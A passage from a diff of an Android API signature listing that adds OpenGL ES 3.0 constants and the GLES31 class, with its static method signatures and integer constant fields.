+    field public static final int GL_R32UI = 33334; // 0x8236
+    field public static final int GL_R8 = 33321; // 0x8229
+    field public static final int GL_R8I = 33329; // 0x8231
+    field public static final int GL_R8UI = 33330; // 0x8232
+    field public static final int GL_R8_SNORM = 36756; // 0x8f94
+    field public static final int GL_RASTERIZER_DISCARD = 35977; // 0x8c89
+    field public static final int GL_READ_BUFFER = 3074; // 0xc02
+    field public static final int GL_READ_FRAMEBUFFER = 36008; // 0x8ca8
+    field public static final int GL_READ_FRAMEBUFFER_BINDING = 36010; // 0x8caa
+    field public static final int GL_RED = 6403; // 0x1903
+    field public static final int GL_RED_INTEGER = 36244; // 0x8d94
+    field public static final int GL_RENDERBUFFER_SAMPLES = 36011; // 0x8cab
+    field public static final int GL_RG = 33319; // 0x8227
+    field public static final int GL_RG16F = 33327; // 0x822f
+    field public static final int GL_RG16I = 33337; // 0x8239
+    field public static final int GL_RG16UI = 33338; // 0x823a
+    field public static final int GL_RG32F = 33328; // 0x8230
+    field public static final int GL_RG32I = 33339; // 0x823b
+    field public static final int GL_RG32UI = 33340; // 0x823c
+    field public static final int GL_RG8 = 33323; // 0x822b
+    field public static final int GL_RG8I = 33335; // 0x8237
+    field public static final int GL_RG8UI = 33336; // 0x8238
+    field public static final int GL_RG8_SNORM = 36757; // 0x8f95
+    field public static final int GL_RGB10_A2 = 32857; // 0x8059
+    field public static final int GL_RGB10_A2UI = 36975; // 0x906f
+    field public static final int GL_RGB16F = 34843; // 0x881b
+    field public static final int GL_RGB16I = 36233; // 0x8d89
+    field public static final int GL_RGB16UI = 36215; // 0x8d77
+    field public static final int GL_RGB32F = 34837; // 0x8815
+    field public static final int GL_RGB32I = 36227; // 0x8d83
+    field public static final int GL_RGB32UI = 36209; // 0x8d71
+    field public static final int GL_RGB8 = 32849; // 0x8051
+    field public static final int GL_RGB8I = 36239; // 0x8d8f
+    field public static final int GL_RGB8UI = 36221; // 0x8d7d
+    field public static final int GL_RGB8_SNORM = 36758; // 0x8f96
+    field public static final int GL_RGB9_E5 = 35901; // 0x8c3d
+    field public static final int GL_RGBA16F = 34842; // 0x881a
+    field public static final int GL_RGBA16I = 36232; // 0x8d88
+    field public static final int GL_RGBA16UI = 36214; // 0x8d76
+    field public static final int GL_RGBA32F = 34836; // 0x8814
+    field public static final int GL_RGBA32I = 36226; // 0x8d82
+    field public static final int GL_RGBA32UI = 36208; // 0x8d70
+    field public static final int GL_RGBA8 = 32856; // 0x8058
+    field public static final int GL_RGBA8I = 36238; // 0x8d8e
+    field public static final int GL_RGBA8UI = 36220; // 0x8d7c
+    field public static final int GL_RGBA8_SNORM = 36759; // 0x8f97
+    field public static final int GL_RGBA_INTEGER = 36249; // 0x8d99
+    field public static final int GL_RGB_INTEGER = 36248; // 0x8d98
+    field public static final int GL_RG_INTEGER = 33320; // 0x8228
+    field public static final int GL_SAMPLER_2D_ARRAY = 36289; // 0x8dc1
+    field public static final int GL_SAMPLER_2D_ARRAY_SHADOW = 36292; // 0x8dc4
+    field public static final int GL_SAMPLER_2D_SHADOW = 35682; // 0x8b62
+    field public static final int GL_SAMPLER_3D = 35679; // 0x8b5f
+    field public static final int GL_SAMPLER_BINDING = 35097; // 0x8919
+    field public static final int GL_SAMPLER_CUBE_SHADOW = 36293; // 0x8dc5
+    field public static final int GL_SEPARATE_ATTRIBS = 35981; // 0x8c8d
+    field public static final int GL_SIGNALED = 37145; // 0x9119
+    field public static final int GL_SIGNED_NORMALIZED = 36764; // 0x8f9c
+    field public static final int GL_SRGB = 35904; // 0x8c40
+    field public static final int GL_SRGB8 = 35905; // 0x8c41
+    field public static final int GL_SRGB8_ALPHA8 = 35907; // 0x8c43
+    field public static final int GL_STATIC_COPY = 35046; // 0x88e6
+    field public static final int GL_STATIC_READ = 35045; // 0x88e5
+    field public static final int GL_STENCIL = 6146; // 0x1802
+    field public static final int GL_STREAM_COPY = 35042; // 0x88e2
+    field public static final int GL_STREAM_READ = 35041; // 0x88e1
+    field public static final int GL_SYNC_CONDITION = 37139; // 0x9113
+    field public static final int GL_SYNC_FENCE = 37142; // 0x9116
+    field public static final int GL_SYNC_FLAGS = 37141; // 0x9115
+    field public static final int GL_SYNC_FLUSH_COMMANDS_BIT = 1; // 0x1
+    field public static final int GL_SYNC_GPU_COMMANDS_COMPLETE = 37143; // 0x9117
+    field public static final int GL_SYNC_STATUS = 37140; // 0x9114
+    field public static final int GL_TEXTURE_2D_ARRAY = 35866; // 0x8c1a
+    field public static final int GL_TEXTURE_3D = 32879; // 0x806f
+    field public static final int GL_TEXTURE_BASE_LEVEL = 33084; // 0x813c
+    field public static final int GL_TEXTURE_BINDING_2D_ARRAY = 35869; // 0x8c1d
+    field public static final int GL_TEXTURE_BINDING_3D = 32874; // 0x806a
+    field public static final int GL_TEXTURE_COMPARE_FUNC = 34893; // 0x884d
+    field public static final int GL_TEXTURE_COMPARE_MODE = 34892; // 0x884c
+    field public static final int GL_TEXTURE_IMMUTABLE_FORMAT = 37167; // 0x912f
+    field public static final int GL_TEXTURE_IMMUTABLE_LEVELS = 33503; // 0x82df
+    field public static final int GL_TEXTURE_MAX_LEVEL = 33085; // 0x813d
+    field public static final int GL_TEXTURE_MAX_LOD = 33083; // 0x813b
+    field public static final int GL_TEXTURE_MIN_LOD = 33082; // 0x813a
+    field public static final int GL_TEXTURE_SWIZZLE_A = 36421; // 0x8e45
+    field public static final int GL_TEXTURE_SWIZZLE_B = 36420; // 0x8e44
+    field public static final int GL_TEXTURE_SWIZZLE_G = 36419; // 0x8e43
+    field public static final int GL_TEXTURE_SWIZZLE_R = 36418; // 0x8e42
+    field public static final int GL_TEXTURE_WRAP_R = 32882; // 0x8072
+    field public static final int GL_TIMEOUT_EXPIRED = 37147; // 0x911b
+    field public static final long GL_TIMEOUT_IGNORED = -1L; // 0xffffffffffffffffL
+    field public static final int GL_TRANSFORM_FEEDBACK = 36386; // 0x8e22
+    field public static final int GL_TRANSFORM_FEEDBACK_ACTIVE = 36388; // 0x8e24
+    field public static final int GL_TRANSFORM_FEEDBACK_BINDING = 36389; // 0x8e25
+    field public static final int GL_TRANSFORM_FEEDBACK_BUFFER = 35982; // 0x8c8e
+    field public static final int GL_TRANSFORM_FEEDBACK_BUFFER_BINDING = 35983; // 0x8c8f
+    field public static final int GL_TRANSFORM_FEEDBACK_BUFFER_MODE = 35967; // 0x8c7f
+    field public static final int GL_TRANSFORM_FEEDBACK_BUFFER_SIZE = 35973; // 0x8c85
+    field public static final int GL_TRANSFORM_FEEDBACK_BUFFER_START = 35972; // 0x8c84
+    field public static final int GL_TRANSFORM_FEEDBACK_PAUSED = 36387; // 0x8e23
+    field public static final int GL_TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN = 35976; // 0x8c88
+    field public static final int GL_TRANSFORM_FEEDBACK_VARYINGS = 35971; // 0x8c83
+    field public static final int GL_TRANSFORM_FEEDBACK_VARYING_MAX_LENGTH = 35958; // 0x8c76
+    field public static final int GL_UNIFORM_ARRAY_STRIDE = 35388; // 0x8a3c
+    field public static final int GL_UNIFORM_BLOCK_ACTIVE_UNIFORMS = 35394; // 0x8a42
+    field public static final int GL_UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES = 35395; // 0x8a43
+    field public static final int GL_UNIFORM_BLOCK_BINDING = 35391; // 0x8a3f
+    field public static final int GL_UNIFORM_BLOCK_DATA_SIZE = 35392; // 0x8a40
+    field public static final int GL_UNIFORM_BLOCK_INDEX = 35386; // 0x8a3a
+    field public static final int GL_UNIFORM_BLOCK_NAME_LENGTH = 35393; // 0x8a41
+    field public static final int GL_UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER = 35398; // 0x8a46
+    field public static final int GL_UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER = 35396; // 0x8a44
+    field public static final int GL_UNIFORM_BUFFER = 35345; // 0x8a11
+    field public static final int GL_UNIFORM_BUFFER_BINDING = 35368; // 0x8a28
+    field public static final int GL_UNIFORM_BUFFER_OFFSET_ALIGNMENT = 35380; // 0x8a34
+    field public static final int GL_UNIFORM_BUFFER_SIZE = 35370; // 0x8a2a
+    field public static final int GL_UNIFORM_BUFFER_START = 35369; // 0x8a29
+    field public static final int GL_UNIFORM_IS_ROW_MAJOR = 35390; // 0x8a3e
+    field public static final int GL_UNIFORM_MATRIX_STRIDE = 35389; // 0x8a3d
+    field public static final int GL_UNIFORM_NAME_LENGTH = 35385; // 0x8a39
+    field public static final int GL_UNIFORM_OFFSET = 35387; // 0x8a3b
+    field public static final int GL_UNIFORM_SIZE = 35384; // 0x8a38
+    field public static final int GL_UNIFORM_TYPE = 35383; // 0x8a37
+    field public static final int GL_UNPACK_IMAGE_HEIGHT = 32878; // 0x806e
+    field public static final int GL_UNPACK_ROW_LENGTH = 3314; // 0xcf2
+    field public static final int GL_UNPACK_SKIP_IMAGES = 32877; // 0x806d
+    field public static final int GL_UNPACK_SKIP_PIXELS = 3316; // 0xcf4
+    field public static final int GL_UNPACK_SKIP_ROWS = 3315; // 0xcf3
+    field public static final int GL_UNSIGNALED = 37144; // 0x9118
+    field public static final int GL_UNSIGNED_INT_10F_11F_11F_REV = 35899; // 0x8c3b
+    field public static final int GL_UNSIGNED_INT_24_8 = 34042; // 0x84fa
+    field public static final int GL_UNSIGNED_INT_2_10_10_10_REV = 33640; // 0x8368
+    field public static final int GL_UNSIGNED_INT_5_9_9_9_REV = 35902; // 0x8c3e
+    field public static final int GL_UNSIGNED_INT_SAMPLER_2D = 36306; // 0x8dd2
+    field public static final int GL_UNSIGNED_INT_SAMPLER_2D_ARRAY = 36311; // 0x8dd7
+    field public static final int GL_UNSIGNED_INT_SAMPLER_3D = 36307; // 0x8dd3
+    field public static final int GL_UNSIGNED_INT_SAMPLER_CUBE = 36308; // 0x8dd4
+    field public static final int GL_UNSIGNED_INT_VEC2 = 36294; // 0x8dc6
+    field public static final int GL_UNSIGNED_INT_VEC3 = 36295; // 0x8dc7
+    field public static final int GL_UNSIGNED_INT_VEC4 = 36296; // 0x8dc8
+    field public static final int GL_UNSIGNED_NORMALIZED = 35863; // 0x8c17
+    field public static final int GL_VERTEX_ARRAY_BINDING = 34229; // 0x85b5
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_DIVISOR = 35070; // 0x88fe
+    field public static final int GL_VERTEX_ATTRIB_ARRAY_INTEGER = 35069; // 0x88fd
+    field public static final int GL_WAIT_FAILED = 37149; // 0x911d
+  }
+
+  public class GLES31 extends android.opengl.GLES30 {
+    method public static void glActiveShaderProgram(int, int);
+    method public static void glBindImageTexture(int, int, int, boolean, int, int, int);
+    method public static void glBindProgramPipeline(int);
+    method public static void glBindVertexBuffer(int, int, long, int);
+    method public static int glCreateShaderProgramv(int, String[]);
+    method public static void glDeleteProgramPipelines(int, int[], int);
+    method public static void glDeleteProgramPipelines(int, java.nio.IntBuffer);
+    method public static void glDispatchCompute(int, int, int);
+    method public static void glDispatchComputeIndirect(long);
+    method public static void glDrawArraysIndirect(int, long);
+    method public static void glDrawElementsIndirect(int, int, long);
+    method public static void glFramebufferParameteri(int, int, int);
+    method public static void glGenProgramPipelines(int, int[], int);
+    method public static void glGenProgramPipelines(int, java.nio.IntBuffer);
+    method public static void glGetBooleani_v(int, int, boolean[], int);
+    method public static void glGetBooleani_v(int, int, java.nio.IntBuffer);
+    method public static void glGetFramebufferParameteriv(int, int, int[], int);
+    method public static void glGetFramebufferParameteriv(int, int, java.nio.IntBuffer);
+    method public static void glGetMultisamplefv(int, int, float[], int);
+    method public static void glGetMultisamplefv(int, int, java.nio.FloatBuffer);
+    method public static void glGetProgramInterfaceiv(int, int, int, int[], int);
+    method public static void glGetProgramInterfaceiv(int, int, int, java.nio.IntBuffer);
+    method public static String glGetProgramPipelineInfoLog(int);
+    method public static void glGetProgramPipelineiv(int, int, int[], int);
+    method public static void glGetProgramPipelineiv(int, int, java.nio.IntBuffer);
+    method public static int glGetProgramResourceIndex(int, int, String);
+    method public static int glGetProgramResourceLocation(int, int, String);
+    method public static String glGetProgramResourceName(int, int, int);
+    method public static void glGetProgramResourceiv(int, int, int, int, int[], int, int, int[], int, int[], int);
+    method public static void glGetProgramResourceiv(int, int, int, int, java.nio.IntBuffer, int, java.nio.IntBuffer, java.nio.IntBuffer);
+    method public static void glGetTexLevelParameterfv(int, int, int, float[], int);
+    method public static void glGetTexLevelParameterfv(int, int, int, java.nio.FloatBuffer);
+    method public static void glGetTexLevelParameteriv(int, int, int, int[], int);
+    method public static void glGetTexLevelParameteriv(int, int, int, java.nio.IntBuffer);
+    method public static boolean glIsProgramPipeline(int);
+    method public static void glMemoryBarrier(int);
+    method public static void glMemoryBarrierByRegion(int);
+    method public static void glProgramUniform1f(int, int, float);
+    method public static void glProgramUniform1fv(int, int, int, float[], int);
+    method public static void glProgramUniform1fv(int, int, int, java.nio.FloatBuffer);
+    method public static void glProgramUniform1i(int, int, int);
+    method public static void glProgramUniform1iv(int, int, int, int[], int);
+    method public static void glProgramUniform1iv(int, int, int, java.nio.IntBuffer);
+    method public static void glProgramUniform1ui(int, int, int);
+    method public static void glProgramUniform1uiv(int, int, int, int[], int);
+    method public static void glProgramUniform1uiv(int, int, int, java.nio.IntBuffer);
+    method public static void glProgramUniform2f(int, int, float, float);
+    method public static void glProgramUniform2fv(int, int, int, float[], int);
+    method public static void glProgramUniform2fv(int, int, int, java.nio.FloatBuffer);
+    method public static void glProgramUniform2i(int, int, int, int);
+    method public static void glProgramUniform2iv(int, int, int, int[], int);
+    method public static void glProgramUniform2iv(int, int, int, java.nio.IntBuffer);
+    method public static void glProgramUniform2ui(int, int, int, int);
+    method public static void glProgramUniform2uiv(int, int, int, int[], int);
+    method public static void glProgramUniform2uiv(int, int, int, java.nio.IntBuffer);
+    method public static void glProgramUniform3f(int, int, float, float, float);
+    method public static void glProgramUniform3fv(int, int, int, float[], int);
+    method public static void glProgramUniform3fv(int, int, int, java.nio.FloatBuffer);
+    method public static void glProgramUniform3i(int, int, int, int, int);
+    method public static void glProgramUniform3iv(int, int, int, int[], int);
+    method public static void glProgramUniform3iv(int, int, int, java.nio.IntBuffer);
+    method public static void glProgramUniform3ui(int, int, int, int, int);
+    method public static void glProgramUniform3uiv(int, int, int, int[], int);
+    method public static void glProgramUniform3uiv(int, int, int, java.nio.IntBuffer);
+    method public static void glProgramUniform4f(int, int, float, float, float, float);
+    method public static void glProgramUniform4fv(int, int, int, float[], int);
+    method public static void glProgramUniform4fv(int, int, int, java.nio.FloatBuffer);
+    method public static void glProgramUniform4i(int, int, int, int, int, int);
+    method public static void glProgramUniform4iv(int, int, int, int[], int);
+    method public static void glProgramUniform4iv(int, int, int, java.nio.IntBuffer);
+    method public static void glProgramUniform4ui(int, int, int, int, int, int);
+    method public static void glProgramUniform4uiv(int, int, int, int[], int);
+    method public static void glProgramUniform4uiv(int, int, int, java.nio.IntBuffer);
+    method public static void glProgramUniformMatrix2fv(int, int, int, boolean, float[], int);
+    method public static void glProgramUniformMatrix2fv(int, int, int, boolean, java.nio.FloatBuffer);
+    method public static void glProgramUniformMatrix2x3fv(int, int, int, boolean, float[], int);
+    method public static void glProgramUniformMatrix2x3fv(int, int, int, boolean, java.nio.FloatBuffer);
+    method public static void glProgramUniformMatrix2x4fv(int, int, int, boolean, float[], int);
+    method public static void glProgramUniformMatrix2x4fv(int, int, int, boolean, java.nio.FloatBuffer);
+    method public static void glProgramUniformMatrix3fv(int, int, int, boolean, float[], int);
+    method public static void glProgramUniformMatrix3fv(int, int, int, boolean, java.nio.FloatBuffer);
+    method public static void glProgramUniformMatrix3x2fv(int, int, int, boolean, float[], int);
+    method public static void glProgramUniformMatrix3x2fv(int, int, int, boolean, java.nio.FloatBuffer);
+    method public static void glProgramUniformMatrix3x4fv(int, int, int, boolean, float[], int);
+    method public static void glProgramUniformMatrix3x4fv(int, int, int, boolean, java.nio.FloatBuffer);
+    method public static void glProgramUniformMatrix4fv(int, int, int, boolean, float[], int);
+    method public static void glProgramUniformMatrix4fv(int, int, int, boolean, java.nio.FloatBuffer);
+    method public static void glProgramUniformMatrix4x2fv(int, int, int, boolean, float[], int);
+    method public static void glProgramUniformMatrix4x2fv(int, int, int, boolean, java.nio.FloatBuffer);
+    method public static void glProgramUniformMatrix4x3fv(int, int, int, boolean, float[], int);
+    method public static void glProgramUniformMatrix4x3fv(int, int, int, boolean, java.nio.FloatBuffer);
+    method public static void glSampleMaski(int, int);
+    method public static void glTexStorage2DMultisample(int, int, int, int, int, boolean);
+    method public static void glUseProgramStages(int, int, int);
+    method public static void glValidateProgramPipeline(int);
+    method public static void glVertexAttribBinding(int, int);
+    method public static void glVertexAttribFormat(int, int, int, boolean, int);
+    method public static void glVertexAttribIFormat(int, int, int, int);
+    method public static void glVertexBindingDivisor(int, int);
+    field public static final int GL_ACTIVE_ATOMIC_COUNTER_BUFFERS = 37593; // 0x92d9
+    field public static final int GL_ACTIVE_PROGRAM = 33369; // 0x8259
+    field public static final int GL_ACTIVE_RESOURCES = 37621; // 0x92f5
+    field public static final int GL_ACTIVE_VARIABLES = 37637; // 0x9305
+    field public static final int GL_ALL_BARRIER_BITS = -1; // 0xffffffff
+    field public static final int GL_ALL_SHADER_BITS = -1; // 0xffffffff
+    field public static final int GL_ARRAY_SIZE = 37627; // 0x92fb
+    field public static final int GL_ARRAY_STRIDE = 37630; // 0x92fe
+    field public static final int GL_ATOMIC_COUNTER_BARRIER_BIT = 4096; // 0x1000
+    field public static final int GL_ATOMIC_COUNTER_BUFFER = 37568; // 0x92c0
+    field public static final int GL_ATOMIC_COUNTER_BUFFER_BINDING = 37569; // 0x92c1
+    field public static final int GL_ATOMIC_COUNTER_BUFFER_INDEX = 37633; // 0x9301
+    field public static final int GL_ATOMIC_COUNTER_BUFFER_SIZE = 37571; // 0x92c3
+    field public static final int GL_ATOMIC_COUNTER_BUFFER_START = 37570; // 0x92c2
+    field public static final int GL_BLOCK_INDEX = 37629; // 0x92fd
+    field public static final int GL_BUFFER_BINDING = 37634; // 0x9302
+    field public static final int GL_BUFFER_DATA_SIZE = 37635; // 0x9303
+    field public static final int GL_BUFFER_UPDATE_BARRIER_BIT = 512; // 0x200
+    field public static final int GL_BUFFER_VARIABLE = 37605; // 0x92e5
+    field public static final int GL_COMMAND_BARRIER_BIT = 64; // 0x40
+    field public static final int GL_COMPUTE_SHADER = 37305; // 0x91b9
+    field public static final int GL_COMPUTE_SHADER_BIT = 32; // 0x20
+    field public static final int GL_COMPUTE_WORK_GROUP_SIZE = 33383; // 0x8267
+    field public static final int GL_DEPTH_STENCIL_TEXTURE_MODE = 37098; // 0x90ea
+    field public static final int GL_DISPATCH_INDIRECT_BUFFER = 37102; // 0x90ee
+    field public static final int GL_DISPATCH_INDIRECT_BUFFER_BINDING = 37103; // 0x90ef
+    field public static final int GL_DRAW_INDIRECT_BUFFER = 36671; // 0x8f3f
+    field public static final int GL_DRAW_INDIRECT_BUFFER_BINDING = 36675; // 0x8f43
+    field public static final int GL_ELEMENT_ARRAY_BARRIER_BIT = 2; // 0x2
+    field public static final int GL_FRAGMENT_SHADER_BIT = 2; // 0x2
+    field public static final int GL_FRAMEBUFFER_BARRIER_BIT = 1024; // 0x400
+    field public static final int GL_FRAMEBUFFER_DEFAULT_FIXED_SAMPLE_LOCATIONS = 37652; // 0x9314
+    field public static final int GL_FRAMEBUFFER_DEFAULT_HEIGHT = 37649; // 0x9311
+    field public static final int GL_FRAMEBUFFER_DEFAULT_SAMPLES = 37651; // 0x9313
+    field public static final int GL_FRAMEBUFFER_DEFAULT_WIDTH = 37648; // 0x9310
+    field public static final int GL_IMAGE_2D = 36941; // 0x904d
+    field public static final int GL_IMAGE_2D_ARRAY = 36947; // 0x9053
+    field public static final int GL_IMAGE_3D = 36942; // 0x904e
+    field public static final int GL_IMAGE_BINDING_ACCESS = 36670; // 0x8f3e
+    field public static final int GL_IMAGE_BINDING_FORMAT = 36974; // 0x906e
+    field public static final int GL_IMAGE_BINDING_LAYER = 36669; // 0x8f3d
+    field public static final int GL_IMAGE_BINDING_LAYERED = 36668; // 0x8f3c
+    field public static final int GL_IMAGE_BINDING_LEVEL = 36667; // 0x8f3b
+    field public static final int GL_IMAGE_BINDING_NAME = 36666; // 0x8f3a
+    field public static final int GL_IMAGE_CUBE = 36944; // 0x9050
+    field public static final int GL_IMAGE_FORMAT_COMPATIBILITY_BY_CLASS = 37065; // 0x90c9
+    field public static final int GL_IMAGE_FORMAT_COMPATIBILITY_BY_SIZE = 37064; // 0x90c8
+    field public static final int GL_IMAGE_FORMAT_COMPATIBILITY_TYPE = 37063; // 0x90c7
+    field public static final int GL_INT_IMAGE_2D = 36952; // 0x9058
+    field public static final int GL_INT_IMAGE_2D_ARRAY = 36958; // 0x905e
+    field public static final int GL_INT_IMAGE_3D = 36953; // 0x9059
+    field public static final int GL_INT_IMAGE_CUBE = 36955; // 0x905b
+    field public static final int GL_INT_SAMPLER_2D_MULTISAMPLE = 37129; // 0x9109
+    field public static final int GL_IS_ROW_MAJOR = 37632; // 0x9300
+    field public static final int GL_LOCATION = 37646; // 0x930e
+    field public static final int GL_MATRIX_STRIDE = 37631; // 0x92ff
+    field public static final int GL_MAX_ATOMIC_COUNTER_BUFFER_BINDINGS = 37596; // 0x92dc
+    field public static final int GL_MAX_ATOMIC_COUNTER_BUFFER_SIZE = 37592; // 0x92d8
+    field public static final int GL_MAX_COLOR_TEXTURE_SAMPLES = 37134; // 0x910e
+    field public static final int GL_MAX_COMBINED_ATOMIC_COUNTERS = 37591; // 0x92d7
+    field public static final int GL_MAX_COMBINED_ATOMIC_COUNTER_BUFFERS = 37585; // 0x92d1
+    field public static final int GL_MAX_COMBINED_COMPUTE_UNIFORM_COMPONENTS = 33382; // 0x8266
+    field public static final int GL_MAX_COMBINED_IMAGE_UNIFORMS = 37071; // 0x90cf
+    field public static final int GL_MAX_COMBINED_SHADER_OUTPUT_RESOURCES = 36665; // 0x8f39
+    field public static final int GL_MAX_COMBINED_SHADER_STORAGE_BLOCKS = 37084; // 0x90dc
+    field public static final int GL_MAX_COMPUTE_ATOMIC_COUNTERS = 33381; // 0x8265
+    field public static final int GL_MAX_COMPUTE_ATOMIC_COUNTER_BUFFERS = 33380; // 0x8264
+    field public static final int GL_MAX_COMPUTE_IMAGE_UNIFORMS = 37309; // 0x91bd
+    field public static final int GL_MAX_COMPUTE_SHADER_STORAGE_BLOCKS = 37083; // 0x90db
+    field public static final int GL_MAX_COMPUTE_SHARED_MEMORY_SIZE = 33378; // 0x8262
+    field public static final int GL_MAX_COMPUTE_TEXTURE_IMAGE_UNITS = 37308; // 0x91bc
+    field public static final int GL_MAX_COMPUTE_UNIFORM_BLOCKS = 37307; // 0x91bb
+    field public static final int GL_MAX_COMPUTE_UNIFORM_COMPONENTS = 33379; // 0x8263
+    field public static final int GL_MAX_COMPUTE_WORK_GROUP_COUNT = 37310; // 0x91be
+    field public static final int GL_MAX_COMPUTE_WORK_GROUP_INVOCATIONS = 37099; // 0x90eb
+    field public static final int GL_MAX_COMPUTE_WORK_GROUP_SIZE = 37311; // 0x91bf
+    field public static final int GL_MAX_DEPTH_TEXTURE_SAMPLES = 37135; // 0x910f
+    field public static final int GL_MAX_FRAGMENT_ATOMIC_COUNTERS = 37590; // 0x92d6
+    field public static final int GL_MAX_FRAGMENT_ATOMIC_COUNTER_BUFFERS = 37584; // 0x92d0
+    field public static final int GL_MAX_FRAGMENT_IMAGE_UNIFORMS = 37070; // 0x90ce
+    field public static final int GL_MAX_FRAGMENT_SHADER_STORAGE_BLOCKS = 37082; // 0x90da
+    field public static final int GL_MAX_FRAMEBUFFER_HEIGHT = 37654; // 0x9316
+    field public static final int GL_MAX_FRAMEBUFFER_SAMPLES = 37656; // 0x9318
+    field public static final int GL_MAX_FRAMEBUFFER_WIDTH = 37653; // 0x9315
+    field public static final int GL_MAX_IMAGE_UNITS = 36664; // 0x8f38
+    field public static final int GL_MAX_INTEGER_SAMPLES = 37136; // 0x9110
+    field public static final int GL_MAX_NAME_LENGTH = 37622; // 0x92f6
+    field public static final int GL_MAX_NUM_ACTIVE_VARIABLES = 37623; // 0x92f7
+    field public static final int GL_MAX_PROGRAM_TEXTURE_GATHER_OFFSET = 36447; // 0x8e5f
+    field public static final int GL_MAX_SAMPLE_MASK_WORDS = 36441; // 0x8e59
+    field public static final int GL_MAX_SHADER_STORAGE_BLOCK_SIZE = 37086; // 0x90de
+    field public static final int GL_MAX_SHADER_STORAGE_BUFFER_BINDINGS = 37085; // 0x90dd
+    field public static final int GL_MAX_UNIFORM_LOCATIONS = 33390; // 0x826e
+    field public static final int GL_MAX_VERTEX_ATOMIC_COUNTERS = 37586; // 0x92d2
+    field public static final int GL_MAX_VERTEX_ATOMIC_COUNTER_BUFFERS = 37580; // 0x92cc
+    field public static final int GL_MAX_VERTEX_ATTRIB_BINDINGS = 33498; // 0x82da
+    field public static final int GL_MAX_VERTEX_ATTRIB_RELATIVE_OFFSET = 33497; // 0x82d9
+    field public static final int GL_MAX_VERTEX_ATTRIB_STRIDE = 33509; // 0x82e5
+    field public static final int GL_MAX_VERTEX_IMAGE_UNIFORMS = 37066; // 0x90ca
+    field public static final int GL_MAX_VERTEX_SHADER_STORAGE_BLOCKS = 37078; // 0x90d6
+    field public static final int GL_MIN_PROGRAM_TEXTURE_GATHER_OFFSET = 36446; // 0x8e5e
+    field public static final int GL_NAME_LENGTH = 37625; // 0x92f9
+    field public static final int GL_NUM_ACTIVE_VARIABLES = 37636; // 0x9304
+    field public static final int GL_OFFSET = 37628; // 0x92fc
+    field public static final int GL_PIXEL_BUFFER_BARRIER_BIT = 128; // 0x80
+    field public static final int GL_PROGRAM_INPUT = 37603; // 0x92e3
+    field public static final int GL_PROGRAM_OUTPUT = 37604; // 0x92e4
+    field public static final int GL_PROGRAM_PIPELINE_BINDING = 33370; // 0x825a
+    field public static final int GL_PROGRAM_SEPARABLE = 33368; // 0x8258
+    field public static final int GL_READ_ONLY = 35000; // 0x88b8
+    field public static final int GL_READ_WRITE = 35002; // 0x88ba
+    field public static final int GL_REFERENCED_BY_COMPUTE_SHADER = 37643; // 0x930b
+    field public static final int GL_REFERENCED_BY_FRAGMENT_SHADER = 37642; // 0x930a
+    field public static final int GL_REFERENCED_BY_VERTEX_SHADER = 37638; // 0x9306
+    field public static final int GL_SAMPLER_2D_MULTISAMPLE = 37128; // 0x9108
+    field public static final int GL_SAMPLE_MASK = 36433; // 0x8e51
+    field public static final int GL_SAMPLE_MASK_VALUE = 36434; // 0x8e52
+    field public static final int GL_SAMPLE_POSITION = 36432; // 0x8e50
+    field public static final int GL_SHADER_IMAGE_ACCESS_BARRIER_BIT = 32; // 0x20
+    field public static final int GL_SHADER_STORAGE_BARRIER_BIT = 8192; // 0x2000
+    field public static final int GL_SHADER_STORAGE_BLOCK = 37606; // 0x92e6
+    field public static final int GL_SHADER_STORAGE_BUFFER = 37074; // 0x90d2
+    field public static final int GL_SHADER_STORAGE_BUFFER_BINDING = 37075; // 0x90d3
+    field public static final int GL_SHADER_STORAGE_BUFFER_OFFSET_ALIGNMENT = 37087; // 0x90df
+    field public static final int GL_SHADER_STORAGE_BUFFER_SIZE = 37077; // 0x90d5
+    field public static final int GL_SHADER_STORAGE_BUFFER_START = 37076; // 0x90d4
+    field public static final int GL_STENCIL_INDEX = 6401; // 0x1901
+    field public static final int GL_TEXTURE_2D_MULTISAMPLE = 37120; // 0x9100
+    field public static final int GL_TEXTURE_ALPHA_SIZE = 32863; // 0x805f
+    field public static final int GL_TEXTURE_ALPHA_TYPE = 35859; // 0x8c13
+    field public static final int GL_TEXTURE_BINDING_2D_MULTISAMPLE = 37124; // 0x9104
+    field public static final int GL_TEXTURE_BLUE_SIZE = 32862; // 0x805e
+    field public static final int GL_TEXTURE_BLUE_TYPE = 35858; // 0x8c12
+    field public static final int GL_TEXTURE_COMPRESSED = 34465; // 0x86a1
+    field public static final int GL_TEXTURE_DEPTH = 32881; // 0x8071
+    field public static final int GL_TEXTURE_DEPTH_SIZE = 34890; // 0x884a
+    field public static final int GL_TEXTURE_DEPTH_TYPE = 35862; // 0x8c16
+    field public static final int GL_TEXTURE_FETCH_BARRIER_BIT = 8; // 0x8
+    field public static final int GL_TEXTURE_FIXED_SAMPLE_LOCATIONS = 37127; // 0x9107
+    field public static final int GL_TEXTURE_GREEN_SIZE = 32861; // 0x805d
+    field public static final int GL_TEXTURE_GREEN_TYPE = 35857; // 0x8c11
+    field public static final int GL_TEXTURE_HEIGHT = 4097; // 0x1001
+    field public static final int GL_TEXTURE_INTERNAL_FORMAT = 4099; // 0x1003
+    field public static final int GL_TEXTURE_RED_SIZE = 32860; // 0x805c
+    field public static final int GL_TEXTURE_RED_TYPE = 35856; // 0x8c10
+    field public static final int GL_TEXTURE_SAMPLES = 37126; // 0x9106
+    field public static final int GL_TEXTURE_SHARED_SIZE = 35903; // 0x8c3f
+    field public static final int GL_TEXTURE_STENCIL_SIZE = 35057; // 0x88f1
+    field public static final int GL_TEXTURE_UPDATE_BARRIER_BIT = 256; // 0x100
+    field public static final int GL_TEXTURE_WIDTH = 4096; // 0x1000
+    field public static final int GL_TOP_LEVEL_ARRAY_SIZE = 37644; // 0x930c
+    field public static final int GL_TOP_LEVEL_ARRAY_STRIDE = 37645; // 0x930d
+    field public static final int GL_TRANSFORM_FEEDBACK_BARRIER_BIT = 2048; // 0x800
+    field public static final int GL_TRANSFORM_FEEDBACK_VARYING = 37620; // 0x92f4
+    field public static final int GL_TYPE = 37626; // 0x92fa
+    field public static final int GL_UNIFORM = 37601; // 0x92e1
+    field public static final int GL_UNIFORM_BARRIER_BIT = 4; // 0x4
